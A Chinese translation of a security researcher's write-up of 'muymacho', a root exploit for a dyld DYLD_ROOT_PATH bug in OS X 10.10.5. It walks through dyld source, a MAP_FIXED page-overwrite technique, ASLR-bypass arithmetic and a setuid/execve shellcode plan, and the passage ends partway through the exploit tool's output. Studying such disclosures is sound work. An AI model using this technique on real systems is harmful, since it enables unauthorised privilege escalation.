muymacho---dyld_root_path漏洞利用解析

from: https://luismiras.github.io/muymacho-exploiting_DYLD_ROOT_PATH/

muymacho是一个漏洞利用工具。存在于Mac OS X 10.10.5中dyld的bug可以用来提权至root。在最新的酋长石(EI Capitan 10.11)中已经被修补。

这是一个有趣的bug,利用过程也很好玩。本篇文章的目的就是介绍该利用的过程。你可以阅读dyld的源代码来跟随我们一起探索其中的奥秘。我希望你能享受muymacho给你带来的快乐。

...dyld_sim是一个Mach-O文件,但是利用漏洞的过程将dyld_sim变成了muymacho :)

下面我们进入正题:

0x00 漏洞发现


该bug最初是在dyld-353.2.1(10.10.0-10.10.4)的源代码审计中发现的,后来通过IDA pro对10.10.5更新的二进制文件分析发现bug依然存在。苹果公司最终在9/17/2015发布了10.10.5的源代码。本文也进行了更新来涵盖最新的dyld源代码。

对dyld的兴趣来自@i0n1c在7/20号发布的挑战。

我找到了与环境变量DYLD_PRINT_TO_FILE相关的bug并且写了一个exploit。之后不久,i0n1c发布了他的writeup和exploit。

当我在寻找DYLD_PRINT_TO_FILE漏洞的时候,我发现了一些有问题的代码。后来我又重新进行审计,发现了一个DYLD_ROOT_PATH的漏洞。我确信我是不第一个也不是唯一一个发现该漏洞的人。

注:我认为该漏洞可能已经被编号为CVE-2015-5876(提交者为grayhash的beist)。更多细节可以在附录中的CVE号那一节中获得。

DYLD_ROOT_PATH漏洞是本文的主题,在接下来几节里面进行详细介绍。该漏洞已经在EI Capitan版本中进行修补。

dyld是OS X和iOS的动态连接器。它和系统加载器(loader)一起协同来为一个进程的的执行做前期的准备工作。基本的步骤为:

  • 系统loader将二进制文件的page和dyld加载进内存
  • 控制权交给dyld,所有它可以加载和连接其他的库和需要的的文件到进程的地址空间
  • 进程加载完成,在内存的进程执行入口点开始执行

在一个拥有suid的二进制文件执行的时候,dyld会提权运行。二进制并没有实际开始执行,因此不能降低权限。

更多细节可以参考linklink(dyld实际上比本文总结的要复杂的多)。

该漏洞与DYLD_ROOT_PATH环境变量的使用有关。下面是一段dyld主页的摘要:

DYLD_ROOT_PATH This is a colon separated list of directories. The dynamic linker will prepend each of this directory paths to every image access until a file is found.

尽管上面的描述是真实的,但是还有一个增加的功能并没有写进文档。为了理解该功能,我们需要稍微讨论一下iOS模拟器。与Android使用仿真器不同(执行ARM指令),iOS使用一个模拟器来运行x86_64编译的程序。模拟器的一个步骤就是在dyld中使用特定的iOS模拟器版本来替换build的。这个特殊的版本被称作dyld_sim。

为了使用dyld_sim,需要在执行程序的语句前将环境变量DYLD_ROOT_PATH设置到一个目录中。具体如下:

#!bash
$ DYLD_ROOT_PATH=/Users/user/tmp crontab

上面的例子希望dyld_sim被设置到如下的目录中

#!bash
/Users/user/tmp/usr/lib/dyld_sim

漏洞的细节在下节中讲解。但是先提前透露点,关键就在于dyld_sim文件的验证不足。dyld_sim是一个Mach-O格式文件,但是开发利用将dyld_sim变成了muymacho :)

0x01 漏洞


本文大多数的分析都是针对dyld-353.2.3(10.10.5)的dyld.cpp,除了在附录里面介绍10.10.4版本的那一节。这个bug看起来是在与OS X 10.9一起发布的dyld-239.3中引入的。

漏洞代码存在于dyld.cpp:useSimulatorDyld()函数。如果一个dyld_sim文件存在于DYLD_ROOT_PATH指向的目录中,dyld_sim将会被打开,打开后返回的文件描述符将会传给useSimulatorDyld()

下面的代码取自dyld.cpp:_main()

#!c
strlcat(simDyldPath, "/usr/lib/dyld_sim", PATH_MAX);
   int fd = my_open(simDyldPath, O_RDONLY, 0);
   if ( fd != -1 ) {
      result = useSimulatorDyld(fd, mainExecutableMH, simDyldPath, argc, argv, envp, apple, startGlue);
      if ( !result && (*startGlue == 0) )
         halt("problem loading iOS simulator dyld");

下面给出了useSimulatorDyld()的全部代码。它处理和加载dyld_sim。需要指出的是useSimulatorDyld()函数中任何的失败都会导致进程的停止。

#!c
__attribute__((noinline))static uintptr_t useSimulatorDyld(int fd, const macho_header* mainExecutableMH, const char* dyldPath, 
                int argc, const char* argv[], const char* envp[], const char* apple[], uintptr_t* startGlue){
  *startGlue = 0;

  // verify simulator dyld file is owned by root
  struct stat sb;
  if ( fstat(fd, &sb) == -1 )
    return 0;    

  // read first page of dyld file
  uint8_t firstPage[4096];
  if ( pread(fd, firstPage, 4096, 0) != 4096 )
    return 0;

  // if fat file, pick matching slice
  uint64_t fileOffset = 0;
  uint64_t fileLength = sb.st_size;
  const fat_header* fileStartAsFat = (fat_header*)firstPage;
  if ( fileStartAsFat->magic == OSSwapBigToHostInt32(FAT_MAGIC) ) {
    if ( !fatFindBest(fileStartAsFat, &fileOffset, &fileLength) ) 
      return 0;
    // re-read buffer from start of mach-o slice in fat file
    if ( pread(fd, firstPage, 4096, fileOffset) != 4096 )
      return 0;
  }
  else if ( !isCompatibleMachO(firstPage, dyldPath) ) {
    return 0;
  }

  // calculate total size of dyld segments
  const macho_header* mh = (const macho_header*)firstPage;
  uintptr_t mappingSize = 0;
  uintptr_t preferredLoadAddress = 0;
  const uint32_t cmd_count = mh->ncmds;
  const struct load_command* const cmds = (struct load_command*)(((char*)mh)+sizeof(macho_header));
  const struct load_command* cmd = cmds;
  for (uint32_t i = 0; i < cmd_count; ++i) {
    switch (cmd->cmd) {
      case LC_SEGMENT_COMMAND:
        {
          struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
          mappingSize += seg->vmsize;
          if ( seg->fileoff == 0 )
            preferredLoadAddress = seg->vmaddr;
        }
        break;
    }
    cmd = (const struct load_command*)(((char*)cmd)+cmd->cmdsize);
  }    

  // reserve space, then mmap each segment
  vm_address_t loadAddress = 0;
  uintptr_t entry = 0;
  if ( ::vm_allocate(mach_task_self(), &loadAddress, mappingSize, VM_FLAGS_ANYWHERE) != 0 )
    return 0;
  cmd = cmds;
  struct linkedit_data_command* codeSigCmd = NULL;
  for (uint32_t i = 0; i < cmd_count; ++i) {
    switch (cmd->cmd) {
      case LC_SEGMENT_COMMAND:
        {
          struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
          uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;
          void* segAddress = ::mmap((void*)requestedLoadAddress, seg->filesize, seg->initprot, MAP_FIXED | MAP_PRIVATE, fd, fileOffset + seg->fileoff);
          //dyld::log("dyld_sim %s mapped at %p\n", seg->segname, segAddress);
          if ( segAddress == (void*)(-1) )
            return 0;
        }
        break;
      case LC_UNIXTHREAD:
        {
        #if __i386__
          const i386_thread_state_t* registers = (i386_thread_state_t*)(((char*)cmd) + 16);
          entry = (registers->__eip + loadAddress - preferredLoadAddress);
        #elif __x86_64__
          const x86_thread_state64_t* registers = (x86_thread_state64_t*)(((char*)cmd) + 16);
          entry = (registers->__rip + loadAddress - preferredLoadAddress);
        #endif
        }
        break;
      case LC_CODE_SIGNATURE:
        codeSigCmd = (struct linkedit_data_command*)cmd;
        break;
    }
    cmd = (const struct load_command*)(((char*)cmd)+cmd->cmdsize);
  }

  if ( codeSigCmd == NULL )
    return 0;    

  fsignatures_t siginfo;
  siginfo.fs_file_start=fileOffset;             // start of mach-o slice in fat file 
  siginfo.fs_blob_start=(void*)(long)(codeSigCmd->dataoff); // start of code-signature in mach-o file
  siginfo.fs_blob_size=codeSigCmd->datasize;          // size of code-signature
  int result = fcntl(fd, F_ADDFILESIGS_FOR_DYLD_SIM, &siginfo);
  if ( result == -1 ) {
    dyld::log("fcntl(F_ADDFILESIGS_FOR_DYLD_SIM) failed with errno=%d\n", errno);
    return 0;
  }    

  close(fd);    

  // notify debugger that dyld_sim is loaded
  dyld_image_info info;
  info.imageLoadAddress = (mach_header*)loadAddress;
  info.imageFilePath    = strdup(dyldPath);
  info.imageFileModDate = sb.st_mtime;
  addImagesToAllImages(1, &info);
  dyld::gProcessInfo->notification(dyld_image_adding, 1, &info);

  // jump into new simulator dyld
  typedef uintptr_t (*sim_entry_proc_t)(int argc, const char* argv[], const char* envp[], const char* apple[],
                const macho_header* mainExecutableMH, const macho_header* dyldMH, uintptr_t dyldSlide,
                const dyld::SyscallHelpers* vtable, uintptr_t* startGlue);
  sim_entry_proc_t newDyld = (sim_entry_proc_t)entry;
  return (*newDyld)(argc, argv, envp, apple, mainExecutableMH, (macho_header*)loadAddress, 
           loadAddress - preferredLoadAddress, 
           &sSysCalls, startGlue);}

useSimulatorDyld()的目的是加载dyld_sim,执行一些检查,然后将控制权交给dyld_sim。dyld_sim开始执行,原来的dyld就被取代。

我们可以从上面的代码知道,useSimulatorDyld()做了以下几件事:

  1. 读取Mach-O头
  2. 循环处理LC_SEGMENT_64命令并且计算出全部数据的大小
  3. vm_allocate()申请内存
  4. mmap()将segment段都读取进内存
  5. 验证代码签名
  6. 跳转到dyld_sim的入口

muymacho利用的就是从10.9就存在的DYLD_ROOT_PATH漏洞。从10.10.4起,又增加一个可以进行攻击的向量,但是在10.10.5中被修补。 聪明的读者可以发现漏洞存在于dyld_sim的Mach-O头的处理过程中。一个畸形的Mach-O文件可以导致内存段被替换,从而导致任意代码执行,这一切都发生在签名验证之前。

为了说明mach-O文件加载进内存是如何进行的,我们需要复习一下Mach-O的知识。苹果提供了一份完整的Mach-O说明文档。我们将相关的两个结构定义放在了下面,其中最为重要的是segment_command_64。

#!c
/* * The 64-bit mach header appears at the very beginning of object files for * 64-bit architectures. */
struct mach_header_64 {
   uint32_t      magic;      /* mach magic number identifier */
   cpu_type_t    cputype;    /* cpu specifier */
   cpu_subtype_t cpusubtype; /* machine specifier */
   uint32_t      filetype;   /* type of file */
   uint32_t      ncmds;      /* number of load commands */
   uint32_t      sizeofcmds; /* the size of all the load commands */
   uint32_t      flags;      /* flags */
   uint32_t      reserved;   /* reserved */
};
/* * The 64-bit segment load command indicates that a part of this file is to be * mapped into a 64-bit task's address space.  If the 64-bit segment has * sections then section_64 structures directly follow the 64-bit segment * command and their size is reflected in cmdsize. */
struct segment_command_64 { /* for 64-bit architectures */
   uint32_t   cmd;          /* LC_SEGMENT_64 */
   uint32_t   cmdsize;      /* includes sizeof section_64 structs */
   char       segname[16];  /* segment name */
   uint64_t   vmaddr;       /* memory address of this segment */
   uint64_t   vmsize;       /* memory size of this segment */
   uint64_t   fileoff;      /* file offset of this segment */
   uint64_t   filesize;     /* amount to map from the file */
   vm_prot_t  maxprot;      /* maximum VM protection */
   vm_prot_t  initprot;     /* initial VM protection */
   uint32_t   nsects;       /* number of sections in segment */
   uint32_t   flags;        /* flags */
};

首先,useSimulatorDyld()需要提取Mach-O头。可以在源代码中看到,在处理胖格式(Universal binary)的初始化代码来确定确定实际Mach-O头的位置。dyld然后读取一页(0x1000bytes)的数据,其中包含该Mach-O头。

载入了Mach-O头之后,useSimulatorDyld()处理加载命令。通过两个循环来处理如LC_SEGMENT_64, LC_UNIXTHREAD和 LC_CODE_SIGNATURE之类的加载命令。 第一个循环处理显示如下。处理LC_SEGMENT_64加载命令。计算出vmsize的总大小,确定preferredLoadAddress。如果没有segment段的fileoff项为0,那么preferredLoadAddress默认设置为0。

#!c
for (uint32_t i = 0; i < cmd_count; ++i) {
      switch (cmd->cmd) {
         case LC_SEGMENT_COMMAND: // <-- Note: defined in a macro as LC_SEGMENT_64 
            {
               struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
               mappingSize += seg->vmsize;
               if ( seg->fileoff == 0 )
                  preferredLoadAddress = seg->vmaddr;
            }
            break;
      }
      cmd = (const struct load_command*)(((char*)cmd)+cmd->cmdsize);
   }

在mappingSize计算出来后调用vm_allocate()。分配内存的地址被保存在loadAddress变量中。如果分配失败,useSimulatorDyld()函数退出。

#!c
if ( ::vm_allocate(mach_task_self(), &loadAddress, mappingSize, VM_FLAGS_ANYWHERE) != 0 )
      return 0;

分配内存之后,就到了第二个循环,相关代码如下。这个循环同样解析LC_UNIXTHREAD,LC_CODESIGNATURE加载命令,但是与漏洞无关。 导致漏洞产生的是这个加载命令:LC_SEGMENT_64。

#!c
case LC_SEGMENT_COMMAND: // <- this is defined in a macro as LC_SEGMENT_64
   {
      struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
      uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;
      void* segAddress = ::mmap((void*)requestedLoadAddress, seg->filesize, seg->initprot, MAP_FIXED | MAP_PRIVATE, fd, fileOffset + seg->fileoff);
      //dyld::log("dyld_sim %s mapped at %p\n", seg->segname, segAddress);
      if ( segAddress == (void*)(-1) )
         return 0;
   }

看代码可以发现,这个case段的代码功能是加载segment段到最新分配的内存中去。但是,这个LC_SEGMENT_64加载命令几乎没有进行任何验证。具体说就是这段代码计算出requestedLoadAddress的参数,是来自Macho-O完全可控的区域的。

#!c
uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;

prederredLoadAddress默认是0,剩下只有loadAddress和seg->vmaddr起作用了。下面是一个简化的等式。这个等式将会以不同的形式贯穿于本文。

#!c
requestedLoadAddress = seg->vmaddr + loadAddress

seg->vmaddr是直接从segment段命令获取,之后加上loadAddress(由vm_allocate设置)。一部分已经受到控制的requestedLoadAddress变量最后作为参数传给mmap。

mmap使用了一些有趣的flag。特别是MAP_FIXED。下面是一段mmap手册的摘录

MAP_FIXED Do not permit the system to select a different address than the one specified. If the specified address cannot be used, mmap() will fail. If MAP_FIXED is specified, addr must be a multiple of the pagesize. If a MAP_FIXED request is successful, the mapping established by mmap() replaces any previous mappings for the process’ pages in the range from addr to addr + len. Use of this option is discouraged.

(不让系统在给出的地址外选择其他的地址。如果给出的地址不能使用,mmap()函数返回失败。如果声明了MAP_FIXED,地址必须是页面大小的倍数。如果一个MAP_FIXED请求成功,mmap()进行加载,会替换该进程之前在addr到addr+len之间的任何加载映射。使用这个选项是不被推荐的。)

关键词是 “替换任何之前的内存映射”。无论是堆,还是栈,甚至是执行代码都会被替换。一个攻击者可以创建一个Mach-O文件。对其LC_SEGMENT_64 加载命令进行构造。这不仅仅是控制requestedLoadAddress,而且可以完全控制页面权限,filesize和fileoff。

在调试器中手工测试证明了mmap()调用后可以成功替换可执行页。

0x02 利用分析


如下是一个欺骗要素表单,提供一份对不同的定义和词语的快速参考。

CHEAT SHEET

loadAddress address returned by vm_allocate()

vmaddr segment’s vmaddr value (seg->vmaddr)

mmap_equation requestedLoadAddress = vmaddr + loadAddress

拥有了替换内存可执行页的能力,利用漏洞就变得相对简单了。ROP也没必要了,因为我们可以控制新加载的可执行内存页的内容。我们的需要覆盖的目标页将是dyld里面拥有mmap系统调用的那一页。如果现在的OS X操作系统没有ASLR,这些就不重要了。我们首先进行没有ASLR的利用分析。然后再考虑如何绕过它。

因为dyld是动态连接器,所有它需要自我包含。dyld拥有它需要使用的所有系统调用。useSimulatorDyld()函数调用::mmap()函数(包装了__mmap())。

00007FFF5FC2693E           mov     r12d, ecx
00007FFF5FC26941           mov     r8d, r15d
00007FFF5FC26944           call    ___mmap
00007FFF5FC26949           mov     rbx, rax
00007FFF5FC2694C           lea     rax, ___syscall_logger

__mmap()函数包含了mmap系统调用。

00007FFF5FC26DBC ___mmap   proc near               ; CODE XREF: _mmap+31p
00007FFF5FC26DBC           mov     eax, 20000C5h
00007FFF5FC26DC1           mov     r10, rcx
00007FFF5FC26DC4           syscall
00007FFF5FC26DC6           jnb     short locret_7FFF5FC26DD0

当mmap系统调用返回的时候,指令指针将会指向地址0x7fff5fc26dc6。传给mmap一个0x7fff5fc26000的requestedLoadAddress参数。mmap将会替换我们的包含mmap系统调用的目标内存页。当新的segment段被加载,进程将开始执行我们的代码。

#!c
uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;

简化的mmap等式为:(preferredLoadAddress默认值为0)

requestedLoadAddress = seg->vmaddr + loadAddress

如果我们回忆一下,会发现loadAddress是由vm_allocate函数设置的。如下所示,vm_allocate返回的地址就在基础程序页之后。举例,crontab生成一个如下的内存分布:

==== regions for process 44045  (non-writable and writable regions are interleaved)
REGION TYPE                      START - END             [ VSIZE] PRT/MAX SHRMOD  REGION DETAIL
mapped file            0000000100000000-0000000100005000 [   20K] r-x/rwx SM=COW  /Users/user/tmp/crontab
mapped file            0000000100005000-0000000100006000 [    4K] rw-/rwx SM=COW  /Users/user/tmp/crontab
mapped file            0000000100006000-0000000100009000 [   12K] r--/rwx SM=COW  /Users/user/tmp/crontab
VM_ALLOCATE (reserved) 0000000100009000-0000000100029000 [  128K] rw-/rwx SM=NUL  reserved VM address space (unallocated)
STACK GUARD            00007fff5bc00000-00007fff5f400000 [ 56.0M] ---/rwx SM=NUL  stack guard for thread 0
Stack                  00007fff5f400000-00007fff5fbff000 [ 8188K] rw-/rwx SM=PRV  thread 0
Stack                  00007fff5fbff000-00007fff5fc00000 [    4K] rw-/rwx SM=COW
__TEXT                 00007fff5fc00000-00007fff5fc37000 [  220K] r-x/rwx SM=COW  /usr/lib/dyld
__DATA                 00007fff5fc37000-00007fff5fc3a000 [   12K] rw-/rwx SM=COW  /usr/lib/dyld
__DATA                 00007fff5fc3a000-00007fff5fc70000 [  216K] rw-/rwx SM=PRV  /usr/lib/dyld
__LINKEDIT             00007fff5fc70000-00007fff5fc84000 [   80K] r--/rwx SM=COW  /usr/lib/dyld
shared memory          00007fffffe00000-00007fffffe01000 [    4K] r--/r-- SM=SHM
shared memory          00007fffffeed000-00007fffffeee000 [    4K] r-x/r-x SM=SHM

如上内存分布,loadAddress是0x100009000(VM_ALLOCATE)。如果将seg->vmaddr设置为0x7ffe5fc1d000,那么将会替换dyld可执行页在地址0x7fff5fc26000。

seg->vmaddr = requestedLoadAddress - loadAddress
seg->vmaddr = 0x7fff5fc26000 - 0x100009000
seg->vmaddr = 0x7ffe5fc1d000

我们可以构建一个Mach-O文件,使得它的seg->vmaddr值为0x7ffe5fc1d000。这样目的就可以实现。

以上的内存分布和计算都是在没有ASLR的情况下进行的,目的是为了讨论更为简单。下一节将讨论ASLR的绕过。

0X03 ASLR绕过


下面是一个升级版的欺骗要素表单。

CHEAT SHEET

loadAddress        address returned by vm_allocate()

vmaddr                segment’s vmaddr value (seg->vmaddr)

dyld_target dyld page we are targetting (contains the mmap syscall)

mmap_equation    requestedLoadAddress = vmaddr + loadAddress

ASLR slide     random offset applied to memory regions 0x0000000 to 0xffff000 bytes (0 to 0xffff pages)

之前的一节忽略了ASLR,但这是必须面对的。ASLR添加偏移到各种内存区域,包括可执行页,栈和dyld的可执行页。为了抵御攻击,导致内存地址不固定了。

下面是一个开启了ASLR的内存布局实例。注意dyld没有加载到它的首选偏移上,与之前的内存分布不一样,实际上它偏移为0x9f40000 bytes。

==== regions for process 44357  (non-writable and writable regions are interleaved)
REGION TYPE                      START - END             [ VSIZE] PRT/MAX SHRMOD  REGION DETAIL
mapped file            0000000102da7000-0000000102dac000 [   20K] r-x/rwx SM=COW  /usr/bin/crontab
mapped file            0000000102dac000-0000000102dad000 [    4K] rw-/rwx SM=COW  /usr/bin/crontab
mapped file            0000000102dad000-0000000102db0000 [   12K] r--/rwx SM=COW  /usr/bin/crontab
VM_ALLOCATE (reserved) 0000000102db0000-0000000102dd0000 [  128K] rw-/rwx SM=NUL  reserved VM address space (unallocated)
STACK GUARD            00007fff58e59000-00007fff5c659000 [ 56.0M] ---/rwx SM=NUL  stack guard for thread 0
Stack                  00007fff5c659000-00007fff5ce58000 [ 8188K] rw-/rwx SM=ZER  thread 0
Stack                  00007fff5ce58000-00007fff5ce59000 [    4K] rw-/rwx SM=COW
__TEXT                 00007fff69b09000-00007fff69b40000 [  220K] r-x/rwx SM=COW  /usr/lib/dyld
__DATA                 00007fff69b40000-00007fff69b43000 [   12K] rw-/rwx SM=COW  /usr/lib/dyld
__DATA                 00007fff69b43000-00007fff69b79000 [  216K] rw-/rwx SM=PRV  /usr/lib/dyld
__LINKEDIT             00007fff69b79000-00007fff69b8d000 [   80K] r--/rwx SM=COW  /usr/lib/dyld
shared memory          00007fffffe00000-00007fffffe01000 [    4K] r--/r-- SM=SHM
shared memory          00007fffffeed000-00007fffffeee000 [    4K] r-x/r-x SM=SHM

其他内存区域包含偏移。crontab基础二进制文件拥有一个0xda7000byte偏移。同样的偏移应用在loadAddress(VM_ALLOCATE区)。

0x04 内存区块和范围


利用分析一节解决了vmaddr的取值问题,使得当加上loadAddress之后就可以替换dyld的目标可执行页。我们的目的没有变, 希望能用我们的内容覆盖dyld的目标页。然而我们内存地址不再是固定的地址。我们执行环境的地址是在有限的地址范围内变化的。

在制定一个攻击计划之前,我们需要确定内存的变化范围是多少。使用ASLR后,可能的地址范围变为:

  • loadAddress: 0x100009000 to 0x110008000 (max ASLR slide = 0x0ffff000)
  • dyld_target: 0x7fff5fc26000 - 0x7fff6fc25000 (max ASLR slide = 0x0ffff000)

下一步,我们计算vmaddr的可能取值范围。我们希望mmap能覆盖dyld的目标页,所以用dyld_target取值范围替换mmap等式中的requestedLoadAddress:

vmaddr = dyld_target - loadAddress

为了确定vmaddr的范围,我们需要最小值和最大值。接下来的图显示了如何来计算:

图左侧显示了最小的vmaddr,它使用了dyld_target的最小值和loadAddress的最大值:

vmaddr_min = (dyld_target + ASLR_slide_min) - (loadAddress + ASLR_slide_max)vmaddr_min = (0x7fff5fc26000 + 0x00000000) - (0x100009000 + 0x0ffff000)vmaddr_min = 0x7fff5fc26000 - 0x110008000vmaddr_min = 0x7ffe4fc1e000

图右侧显示了最大的vmaddr,它使用了dyld_target的最大值和loadAddress的最小值:

vmaddr_max = (dyld_target + ASLR_slide_max) - (loadAddress + ASLR_slide_min)vmaddr_max = (0x7fff5fc26000 + 0x0ffff000) - (0x100009000 + 0x00000000)vmaddr_max = 0x7fff6fc25000 - 0x100009000vmaddr_max = 0x7ffe6fc1c000

vmaddr的范围为0x7ffe4fc1e000至0x7ffe6fc1c000。整个大小为0x1fffe000 bytes(为ASLR最大偏移的2倍)。

为了增强漏洞利用的稳定性,全部的内存范围都要需要被加载。从单一的segment段中加载整个范围是不可能的(没人想要一个500+MB的exploit!),所以我们使用多个segment段。

0x05 潜在问题


在这里,我们需要解释一些更多的问题:

  • 需要多少的segment段?
  • mmap会失败返回吗?
  • 会发生不可预料的内存问题吗?

需要多少的segments段?

Mach-O头只能读取仅仅一页(0x1000 bytes ) ,mach_header_64结构有0x20bytes大,segment_command_64结构有72bytes,所以最多只能有56个segment((4096-32)/72=56)。为了简化计算,muymacho使用了32个segment段。所有的segment的fileoff成员变量都指向同一块数据(0x1000000bytes)。

这32个segment将会覆盖全部的vmaddr范围(0x1fffe000),还多一页剩余。

所以需要32个segment。

mmap会失败返回吗?

useSimulatorDyld()中调用mmap的部分代码如下所示。注意如果mmap失败,useSimulatorDyld()函数就退出。

#!c
void* segAddress = ::mmap((void*)requestedLoadAddress, seg->filesize, seg->initprot, MAP_FIXED | MAP_PRIVATE, fd, fileOffset + seg->fileoff);
   //dyld::log("dyld_sim %s mapped at %p\n", seg->segname, segAddress);
   if ( segAddress == (void*)(-1) )
      return 0;

mmap申请的内存如果超出了用户空间(大于0x7fffffffffff)就会失败。我们需要保证下面的限制:

requestedLoadAddress + seg->filesize < 0x7fffffffffff

由于ASLR,我们不知道真实的loadAddress和dyld_target地址。我们计算出了vmaddr的最小值(0x7ffe4fc1e000)和最大值(0x7ffe6fc1c000),以此来对抗ASLR。

我们来计算最大的requestedLoadAddress,使用mmap等式,代入最大的vmaddr值和最大的loadAddress。

requestedLoadAddress = vmaddr + loadAddressrequestedLoadAddress = 0x7ffe6fc1c000 + (loadAddress + 0x0ffff000)requestedLoadAddress = 0x7ffe6fc1c000 + (0x100009000 + 0x0ffff000)requestedLoadAddress = 0x7ffe6fc1c000 + 0x110008000 requestedLoadAddress = 0x7fff7fc24000

requestedLoadAddress的值为0x7fff7fc24000能很好的满足用户空间限定。seg->filesize需要大于0x803dbfff才能导致mmap调用失败。这显然不会发生。

会发生不可预料的内存问题吗?

加载如此大的segment(0x1000000)可能会引起某些疑虑,问题可以这样理解:

  1. 当我们替换dyld_target的时候会破坏栈吗?
  2. 如果我们覆盖了一部分dyld的页会发生什么?

在下一节实践中将会说明muymacho使用了由高至低策略。这种方法保证高地址先被替换。栈的地址低于dyld_target页面地址,在一个安全的距离上,所以栈是安全的:)

是否有这种可能,只有一部分的dyld页从一个segment加载,其余的页会在之后由下一个段加载。这有关系吗?不。

mmap系统调用,包装之后的函数,和useSimulatorDyld()里面的主要解析循环都被包含在dyld_target页中。useSimulatorDyld()的其他部分在下一个低地址页里面。

所以一切都没问题。

0x06 实践


muymacho使用了32个segments来覆盖一个0x20000000bytes大小的地址。这保证了所有的ASLR内存范围都被覆盖了。Segments将会不停加载直至dyld_target被覆盖。在那里我们的代码将会取得控制权。

采用由高至低的策略是为了防止不必要的内存破坏,尤其是栈。第一个segment使用最大的vmaddr值。接下来的segments使用小一点的值。保证整个范围被覆盖。接下来的图提供了一个例子。记住这不是成比例的。dyld_target只是一个页而segment是4096个页。

最终dyld_target将会被覆盖,代码将会得到执行。一旦dyld_target页被覆盖,控制权就会随着mmap调用的返回而立即获得。

0x07 最大vmaddr


muymacho中使用的最大的vmaddr不同于我们之前计算的。下面的函数计算了这个最大vmaddr。

#!c
def maximum_vmaddr(segment_size):
    '''    returns the maximum vmaddr        the function assumes the base binary is 9 pages long    as is the case for crontab giving a     loadAddress_min of 0x100009000        if attacking other suid programs, this value should    be adjusted. in reality a few pages here or there    won't have a noticeable effect.    '''
    dyld_target = 0x7fff5fc26000
    loadAddress_min = 0x100009000 
    aslr_slide_max = 0x0ffff000    

    dyld_target_max = dyld_target + aslr_slide_max
    maximum_offset = dyld_target_max - loadAddress_min    

    # Only one page from the payload needs to hit the maximum offset.
    vmaddr = maximum_offset - segment_size + 0x1000      

    return vmaddr

唯一的不同之处在于下面的代码:

#!c
# Only one page from the payload needs to hit the maximum offset.
    vmaddr = maximum_offset - segment_size + 0x1000

原始的vmaddr最大值计算假设我们是加载到单个页中。我们实际上是每次加载4096个页。

调整计算方法来适应只加载一页在最大vmaddr。不然我们就会浪费那些永远不会覆盖dyld_target的页。

下面的图可能能说明这个概念:

左侧的图是显示的原始的最大vmaddr(0x7ffe6fc1c000)覆盖可能的最高的dyld_target。其他的所有页都是多余的,因为我们已经在可能的最大vmaddr值和dyld_target最高地址。这个segment中只有一页可能覆盖到dyld_target。

右侧的图是调整后的vmaddr(0x7ffe6ec1d000)。这个segment段将覆盖到可能的最高dyld_target。所有的4096segment页可以覆盖所有的可能dyld_target页。

0x08 载荷Payload


在绕过ASLR那一节中,我们实现了一定了覆盖dyld_target。payload有0x1000000大,即4096个页。其中的一个页将覆盖到dyld_target页。

dyld的mmap系统调用显示如下:

00007FFF5FC26DBC ___mmap   proc near               ; CODE XREF: _mmap+31p
00007FFF5FC26DBC           mov     eax, 20000C5h
00007FFF5FC26DC1           mov     r10, rcx
00007FFF5FC26DC4           syscall
00007FFF5FC26DC6           jnb     short locret_7FFF5FC26DD0

当mmap系统调用返回时,将会从页内的0xdc6处开始执行。因为rax为返回值,它会存储最新加载内存的基地址,换句话说,rax指向我们payload的开始处。

所有4096个payload页的0xdc6处,都是一个jmp rax指令。payload开始处的第一页在0x00偏移处包含一段shellcode。

下图显示了基地址页(payload的地址最低的第一页)和标准页(4096也都有的内容)。

不必考虑哪一页会覆盖掉dyld_target,jmp rax指令都会将执行跳转到shellcode。

shellcode将会执行一条setuid(0)系统调用,然后执行execve(/bin/sh'')系统调用。启动一个sh。

0x09 完成利用


  1. 我们的目标是覆盖dyld_target,该页是dyld中包含mmap系统调用的那一页。
  2. 我们使用32个segment覆盖0x20000000 bytes来绕过ASLR。
    • 我们使用由高至低的策略
    • 第一个segment的vmaddr是0x7ffe6ec1d000
    • 后面的segment拥有更小(0x1000000)vmaddr
  3. 所有segment指向payload同样的4096个页
    • 所有页在偏移0xdc6处都是jmp rax指令
    • 基础页里面包含我们的shellcode

muymacho是由python编写,在github发布。在MachoFile和LC_SEGMENT_64类中进行了最小限度的Mach-O实现。创建了一个dyld_sim文件,包含32个segment。所有都指向payload。

muymacho使用时,输入一个基目录路径,会自动生成需要的目录结构和dyld_sim文件。实际的利用需要设置DYLD_ROOT_PATH到一个目录,并执行一个suid的二进制文件。下面是一个运行的例子。

#!bash
[email protected]:~/tmp$ python muymacho.py ~/tmp
muymacho.py - exploit for DYLD_ROOT_PATH vuln in OS X 10.10.5
Luis Miras @_luism    

[+] using base_directory: /Users/user/tmp
[+] creating dir: /Users/user/tmp/usr/lib
[+] creating macho file: /Users/user/tmp/usr/lib/dyld_sim    LC_SEGMENT_64: segment 0x00    vm_addr: 0x7ffe6ec1d000    LC_SEGMENT_64: segment 0x01    vm_addr: 0x7ffe6dc1d000    LC_SEGMENT_64: segment 0x02    vm_addr: 0x7ffe6cc1d000    LC_SEGMENT_64: segment 0x03    vm_addr: 0x7ffe6bc1d000    LC_SEGMENT_64: segment 0x04    vm_addr: 0x7ffe6ac1d000    LC_SEGMENT_64: segment 0x05    vm_addr: 0x7ffe69c1d000    LC_SEGMENT_64: segment 0x06    vm_addr: 0x7ffe68c1d000    LC_SEGMENT_64: segment 0x07    vm_addr: 0x7ffe67c1d000    LC_SEGMENT_64: segment 0x08    vm_addr: 0x7ffe66c1d000    LC_SEGMENT_64: segment 0x09    vm_addr: 0x7ffe65c1d000    LC_SEGMENT_64: segment 0x0a    vm_addr: 0x7ffe64c1d000    LC_SEGMENT_64: segment 0x0b    vm_addr: 0x7ffe63c1d000    LC_SEGMENT_64: segment 0x0c    vm_addr: 0x7ffe62c1d000    LC_SEGMENT_64: segment 0x0d    vm_addr: 0x7ffe61c1d000    LC_SEGMENT_64: segment 0x0e    vm_addr: 0x7ffe60c1d000    LC_SEGMENT_64: segment 0x0f    vm_addr: 0x7ffe5fc1d000    LC_SEGMENT_64: segment 0x10    vm_addr: 0x7ffe5ec1d000    